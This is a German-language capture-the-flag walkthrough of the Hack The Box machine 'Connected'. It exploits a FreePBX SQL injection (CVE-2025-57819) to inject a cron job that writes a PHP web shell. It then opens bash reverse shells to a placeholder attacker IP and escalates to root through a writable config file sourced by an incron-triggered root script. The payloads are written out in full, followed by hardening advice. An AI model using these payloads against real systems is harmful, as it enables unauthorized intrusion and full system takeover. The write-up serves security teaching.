
Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.
Dieser Walkthrough dokumentiert die vollständige Kompromittierung der HTB-Maschine Connected.
Die Angriffskette beginnt mit einer unauthentifizierten SQL-Injection-Schwachstelle in FreePBX, die genutzt wird, um über einen manipulierten Cron-Job Code-Ausführung als Benutzer asterisk zu erlangen. Eine beschreibbare Konfigurationsdatei in Kombination mit einem incron-Trigger ermöglicht anschließend die Privilegienausweitung auf root.
Dieser Fall zeigt, wie Schwachstellen in Webanwendungen, kombiniert mit schwachen lokalen Berechtigungen und unsicherer privilegierter Automatisierung, zur vollständigen Systemkompromittierung führen können.
Ein schneller Portscan zeigt die offenen Ports des Ziels:
nmap -T5 --open <MACHINE_IP>
| Port | Dienst |
|---|---|
| 22 | SSH |
| 80 | HTTP |
| 443 | HTTPS |
Weitere Untersuchungen zeigen einen Apache-Server mit PHP 7.4, der eine HTTP-Weiterleitung auf folgende Adresse durchführt:
http://connected.htb/
Um die Website korrekt aufzurufen, muss die Virtual-Host-Zuordnung hinzugefügt werden:
echo "<MACHINE_IP> connected.htb" | sudo tee -a /etc/hosts
Ein Aufruf von http://connected.htb/ zeigt:
FreePBX 16.0.40.7
Die Recherche identifiziert CVE-2025-57819, eine unauthentifizierte, fehlerbasierte SQL-Injection-Schwachstelle in der FreePBX-Endpoint-Manager-Komponente.
Bestätigen Sie die Schwachstelle, indem Sie den Datenbankbenutzer extrahieren:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"
Die Antwort enthält:
~USER:freepbxuser@localhost~
Dies bestätigt, dass die SQL-Injection funktioniert und die Anwendung sich als folgender Benutzer mit MySQL verbindet:
freepbxuser@localhost
FreePBX speichert geplante Jobs in der Tabelle cron_jobs.
Durch das Injizieren eines bösartigen Eintrags in diese Tabelle können beliebige Befehle zur Ausführung eingeplant werden.
Der folgende Payload erstellt eine PHP-Web-Shell im Web-Root:
curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/c1sco.php',NULL,'* * * * *',30,1,1)-- "
Der Server gibt einen generischen 500-Fehler zurück, aber die SQL-Anweisung wird erfolgreich ausgeführt.
Nach etwa einer Minute kann überprüft werden, ob die Web-Shell erstellt wurde:
curl -ik "https://connected.htb/c1sco.php?cmd=id"
Ausgabe:
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)
Wir haben nun über HTTP-Anfragen Code-Ausführung als Benutzer asterisk.
Starten Sie einen Netcat-Listener auf der Angreifer-Maschine:
nc -lvnp 4444
Lösen Sie eine Bash-Reverse-Shell über die Web-Shell aus:
curl -ik "https://connected.htb/c1sco.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/<ATTACKER_IP>/4444+0>%261'"
Eine Verbindung wird hergestellt:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=999(asterisk) gid=1000(asterisk)
Wir haben nun eine interaktive Shell als Benutzer asterisk.
Suchen Sie nach beschreibbaren Dateien unter /etc, wobei bekannte Fehlalarme ausgeschlossen werden:
find /etc -writable 2>/dev/null | grep -v "/etc/wanpipe\|/etc/asterisk\|/etc/schmooze" | head -20
Ein bemerkenswertes Ergebnis ist:
/etc/dahdi/init.conf
Untersuchen Sie als Nächstes die incron-Konfiguration:
cat /etc/incron.d/*
Dies zeigt den folgenden Dateisystem-Watcher:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart
Das bedeutet, dass immer dann, wenn die Sentinel-Datei:
/var/spool/asterisk/sysadmin/dahdi_restart
beschrieben wird, das folgende Skript ausgeführt wird:
/usr/sbin/sysadmin_dahdi_restart
Die Untersuchung des Skripts zeigt, dass es folgende Datei einbindet (sourced):
/etc/dahdi/init.conf
Da /etc/dahdi/init.conf vom Benutzer asterisk beschreibbar ist und von einem Root-Prozess eingebunden wird, bietet dies einen Pfad zur Ausführung beliebiger Befehle als root.
Starten Sie einen zweiten Netcat-Listener auf Port 4445:
nc -lvnp 4445
Fügen Sie aus der asterisk-Shell einen Reverse-Shell-Payload an die beschreibbare Konfigurationsdatei an:
echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/4445 0>&1" &' >> /etc/dahdi/init.conf
Lösen Sie die incron-Aktion aus, indem Sie in die überwachte Datei schreiben:
echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart
Innerhalb von Sekunden verbindet sich die Root-Shell:
connect to [<ATTACKER_IP>] from [<MACHINE_IP>]
uid=0(root) gid=0(root) groups=0(root)
🎯 Vollständiger Root-Zugriff erreicht!
cat /home/asterisk/user.txt
Ausgabe:
HTB{...user_flag...}
cat /root/root.txt
Ausgabe:
HTB{...root_flag...}
Unauthentifizierte SQL-Injection
│
▼
MySQL-Abfrageausführung
│
▼
Bösartigen Cron-Job einfügen
│
▼
PHP-Web-Shell
│
▼
asterisk-Shell
│
▼
Beschreibbare /etc/dahdi/init.conf
│
▼
incron-Trigger
│
▼
Root-Befehlsausführung
│
▼
root
| Schwachstelle | Auswirkung |
|---|---|
| Unauthentifizierte SQL-Injection | Legte den Datenbank-Benutzerkontext offen und bot einen Einstiegspunkt zum Schreiben bösartiger Daten |
| Cron-Job-Injection | Ermöglichte Remote-Code-Ausführung als Dienstkonto mit niedrigen Rechten |
Verwenden Sie parametrisierte Abfragen und strenge Eingabevalidierung für alle Datenbankoperationen.
Benutzergesteuerte Eingaben dürfen niemals direkt in SQL-Abfragen verkettet werden.
Konfigurationsdateien, die von privilegierten Diensten verwendet werden, sollten für Dienstkonten mit niedrigen Rechten nicht beschreibbar sein.
Überprüfen Sie insbesondere die Berechtigungen von Dateien unter:
/etc/
Auditieren Sie regelmäßig geplante Aufgaben und Dateisystem-Watcher.
Privilegierte Jobs sollten keine Befehle auf Grundlage von Dateien ausführen, die nicht vertrauenswürdige Benutzer ändern können.
Root-eigene Skripte sollten vermeiden, Konfigurationsdateien einzubinden, die von unprivilegierten Benutzern geändert werden können.
Webanwendungen und Dienste sollten mit den minimalen Berechtigungen ausgeführt werden, die für ihren Betrieb erforderlich sind.
Die Reduzierung der Privilegien der FreePBX/Apache-Umgebung kann die Auswirkungen einer erfolgreichen Anwendungskompromittierung erheblich begrenzen.
CVE-2025-57819
│
▼
Unauthentifizierte SQL-Injection
│
▼
Manipulation der cron_jobs-Tabelle
│
▼
Geplante PHP-Web-Shell
│
▼
asterisk-Benutzer
│
▼
Beschreibbare /etc/dahdi/init.conf
│
▼
incron-Dateisystem-Watcher
│
▼
Privilegiertes DAHDI-Skript
│
▼
Root-Shell
│
▼
🏆 Vollständige Systemkompromittierung
Haftungsausschluss: Dieser Write-up dient Bildungszwecken und autorisierten Sicherheitstests, wie Hack-The-Box-Labore und kontrollierten Umgebungen.
| Beschreibbare Konfigurationsdatei + incron | Ermöglichte direkte Privilegienausweitung auf root |
| Privilegiertes Skript bindet benutzerbeschreibbare Datei ein | Ermöglichte die Ausführung beliebiger Befehle mit Root-Rechten |